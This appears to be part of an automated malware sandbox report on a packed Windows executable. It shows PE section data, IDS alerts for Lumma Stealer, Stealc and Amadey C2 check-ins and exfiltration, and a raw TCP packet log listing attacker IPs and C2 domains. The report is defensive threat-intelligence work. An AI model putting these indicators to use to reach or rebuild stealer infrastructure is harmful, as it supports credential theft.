OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F99507CDAFAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	033ecdaba8663a70555ca11ecfd60f3e	False	0.9994907693894389	data	7.975445311171827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qtagrrkd	0x60000	0x2a7000	0x2a6200	9e69b36fa872ab4532fc90d99b67fbcd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hxekdemw	0x307000	0x1000	0x400	88cbb4fd0904119850a6a9576f213379	False	0.7646484375	data	6.0618060714923905	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x308000	0x3000	0x2200	cf0b9054b3ad5a9b4f73132e5dae87f2	False	0.08145680147058823	DOS executable (COM)	0.9169920536342884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-17T18:38:19.958812+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	62397	172.67.206.204	443	TCP
2024-10-17T18:38:19.958812+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	62397	172.67.206.204	443	TCP
2024-10-17T18:38:19.958812+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	62396	172.67.206.204	443	TCP
2024-10-17T18:38:23.877553+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.7	64355	1.1.1.1	53	UDP
2024-10-17T18:38:23.975703+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.7	57514	1.1.1.1	53	UDP
2024-10-17T18:38:24.061491+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	63661	1.1.1.1	53	UDP
2024-10-17T18:38:25.068559+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	63661	1.1.1.1	53	UDP
2024-10-17T18:38:25.112819+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.7	53342	1.1.1.1	53	UDP
2024-10-17T18:38:25.124595+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.7	53025	1.1.1.1	53	UDP
2024-10-17T18:38:25.136501+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.7	53429	1.1.1.1	53	UDP
2024-10-17T18:38:25.146739+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.7	63497	1.1.1.1	53	UDP
2024-10-17T18:38:25.160121+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.7	59203	1.1.1.1	53	UDP
2024-10-17T18:38:26.802860+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	49721	92.122.104.90	443	TCP
2024-10-17T18:38:27.795218+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49732	172.67.206.204	443	TCP
2024-10-17T18:38:27.795218+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49732	172.67.206.204	443	TCP
2024-10-17T18:38:29.244018+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49738	172.67.206.204	443	TCP
2024-10-17T18:38:29.244018+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49738	172.67.206.204	443	TCP
2024-10-17T18:38:35.597758+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49773	172.67.206.204	443	TCP
2024-10-17T18:38:40.110196+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49804	172.67.206.204	443	TCP
2024-10-17T18:38:56.380870+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49890	185.215.113.37	80	TCP
2024-10-17T18:40:05.527507+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50048	185.215.113.43	80	TCP
2024-10-17T18:40:09.887421+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50050	185.215.113.103	80	TCP
2024-10-17T18:40:16.813313+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.7	63335	1.1.1.1	53	UDP
2024-10-17T18:40:17.121710+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.7	53049	1.1.1.1	53	UDP
2024-10-17T18:40:17.132802+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	52568	1.1.1.1	53	UDP
2024-10-17T18:40:17.146799+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.7	51695	1.1.1.1	53	UDP
2024-10-17T18:40:17.158288+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.7	56089	1.1.1.1	53	UDP
2024-10-17T18:40:17.171928+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.7	55599	1.1.1.1	53	UDP
2024-10-17T18:40:17.190251+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.7	63598	1.1.1.1	53	UDP
2024-10-17T18:40:17.201818+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.7	56907	1.1.1.1	53	UDP
2024-10-17T18:40:17.438048+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	50049	TCP
2024-10-17T18:40:18.391410+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50052	185.215.113.43	80	TCP
2024-10-17T18:40:18.798707+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	50051	95.100.48.249	443	TCP
2024-10-17T18:40:19.339186+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50053	185.215.113.103	80	TCP
2024-10-17T18:40:30.153867+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.7	52555	1.1.1.1	53	UDP
2024-10-17T18:40:30.166309+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.7	55555	1.1.1.1	53	UDP
2024-10-17T18:40:30.179507+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	50848	1.1.1.1	53	UDP
2024-10-17T18:40:30.191075+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.7	57595	1.1.1.1	53	UDP
2024-10-17T18:40:30.204583+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.7	59860	1.1.1.1	53	UDP
2024-10-17T18:40:30.216602+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.7	62802	1.1.1.1	53	UDP
2024-10-17T18:40:30.227801+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.7	61659	1.1.1.1	53	UDP
2024-10-17T18:40:30.240212+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.7	60857	1.1.1.1	53	UDP
2024-10-17T18:40:31.815795+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	50054	95.100.48.249	443	TCP
2024-10-17T18:40:32.710495+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50055	172.67.206.204	443	TCP
2024-10-17T18:40:32.710495+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50055	172.67.206.204	443	TCP
2024-10-17T18:40:35.645838+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50056	172.67.206.204	443	TCP
2024-10-17T18:40:35.645838+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50056	172.67.206.204	443	TCP
2024-10-17T18:40:38.389774+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50058	172.67.206.204	443	TCP
2024-10-17T18:40:38.794116+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.7	56995	1.1.1.1	53	UDP
2024-10-17T18:40:38.834809+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.7	53305	1.1.1.1	53	UDP
2024-10-17T18:40:38.858849+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	55953	1.1.1.1	53	UDP
2024-10-17T18:40:39.522866+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	62393	1.1.1.1	53	TCP
2024-10-17T18:40:39.526078+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.7	63031	1.1.1.1	53	UDP
2024-10-17T18:40:39.538154+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.7	49596	1.1.1.1	53	UDP
2024-10-17T18:40:39.550599+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.7	53088	1.1.1.1	53	UDP
2024-10-17T18:40:39.565020+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.7	51983	1.1.1.1	53	UDP
2024-10-17T18:40:39.576931+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.7	50081	1.1.1.1	53	UDP
2024-10-17T18:40:41.560567+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	62394	23.192.247.89	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 18:38:25.188230991 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:25.188271046 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:25.188366890 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:25.191482067 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:25.191498995 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.076492071 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.076632977 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.094228983 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.094259977 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.095272064 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.137788057 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.151817083 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.199404955 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.803006887 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.803037882 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.803097963 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.803116083 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.803138018 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.803148985 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.803158045 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.803172112 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.803205013 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.804183960 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.804234028 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.804282904 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.804291964 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.804405928 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.924455881 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.924551964 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.924571037 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.924639940 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.924689054 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.924689054 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.926884890 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.926884890 CEST	49721	443	192.168.2.7	92.122.104.90
Oct 17, 2024 18:38:26.926918983 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.926947117 CEST	443	49721	92.122.104.90	192.168.2.7
Oct 17, 2024 18:38:26.971364975 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:26.971412897 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:26.971471071 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:26.971787930 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:26.971805096 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.613374949 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.613554955 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.636945009 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.636962891 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.637288094 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.655232906 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.655267000 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.655348063 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.795381069 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.795955896 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.796017885 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.796034098 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.796175003 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.796226025 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.796233892 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.797359943 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.797427893 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.843544006 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.843563080 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.843576908 CEST	49732	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.843584061 CEST	443	49732	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.989139080 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.989181042 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:27.989253998 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.989536047 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:27.989553928 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:28.629163027 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:28.629271030 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:28.630568027 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:28.630577087 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:28.630918026 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:28.632225037 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:28.632272005 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:28.632311106 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.244091034 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.244226933 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.244311094 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.244322062 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.244352102 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.244430065 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.244471073 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.244630098 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.244694948 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.244705915 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.244785070 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.244926929 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.244935989 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.294141054 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.294151068 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.341022015 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.366838932 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.367027044 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.367113113 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.367203951 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.367204905 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.367232084 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.367305040 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.367494106 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.367568016 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.367626905 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.367659092 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.367666960 CEST	49738	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.367676020 CEST	443	49738	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.515283108 CEST	49749	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.515333891 CEST	443	49749	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:29.515403032 CEST	49749	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.515770912 CEST	49749	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:29.515786886 CEST	443	49749	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:30.268342018 CEST	443	49749	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:30.268454075 CEST	49749	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:30.329612970 CEST	49749	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:30.329634905 CEST	443	49749	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:30.330645084 CEST	443	49749	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:30.334481955 CEST	49749	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:30.337564945 CEST	49749	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:30.337630987 CEST	443	49749	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:30.971785069 CEST	443	49749	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:30.971868038 CEST	443	49749	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:30.971918106 CEST	49749	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:30.972078085 CEST	49749	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:30.972090006 CEST	443	49749	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:31.081320047 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:31.081357956 CEST	443	49757	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:31.081433058 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:31.081757069 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:31.081769943 CEST	443	49757	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:31.718476057 CEST	443	49757	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:31.718553066 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:31.719904900 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:31.719909906 CEST	443	49757	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:31.720170975 CEST	443	49757	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:31.721369028 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:31.721502066 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:31.721530914 CEST	443	49757	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:31.721586943 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:31.721592903 CEST	443	49757	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:32.205323935 CEST	443	49757	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:32.205590963 CEST	443	49757	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:32.205630064 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:32.205677986 CEST	49757	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:32.474339962 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:32.474380016 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:32.474447012 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:32.474700928 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:32.474713087 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:33.096076012 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:33.096204996 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:33.097496986 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:33.097501993 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:33.098212957 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:33.099488974 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:33.099642992 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:33.099675894 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:33.099756002 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:33.099762917 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:33.838972092 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:33.839210033 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:33.839293957 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:33.839312077 CEST	49765	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:33.839323044 CEST	443	49765	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:34.128734112 CEST	49773	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:34.128772974 CEST	443	49773	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:34.128849030 CEST	49773	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:34.129165888 CEST	49773	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:34.129183054 CEST	443	49773	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:34.912520885 CEST	443	49773	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:34.912619114 CEST	49773	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:34.913841963 CEST	49773	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:34.913849115 CEST	443	49773	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:34.914084911 CEST	443	49773	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:34.915374041 CEST	49773	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:34.915467978 CEST	49773	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:34.915474892 CEST	443	49773	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:35.597744942 CEST	443	49773	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:35.597841978 CEST	443	49773	172.67.206.204	192.168.2.7
Oct 17, 2024 18:38:35.597922087 CEST	49773	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:38:35.598012924 CEST	49773	443	192.168.2.7	172.67.206.204
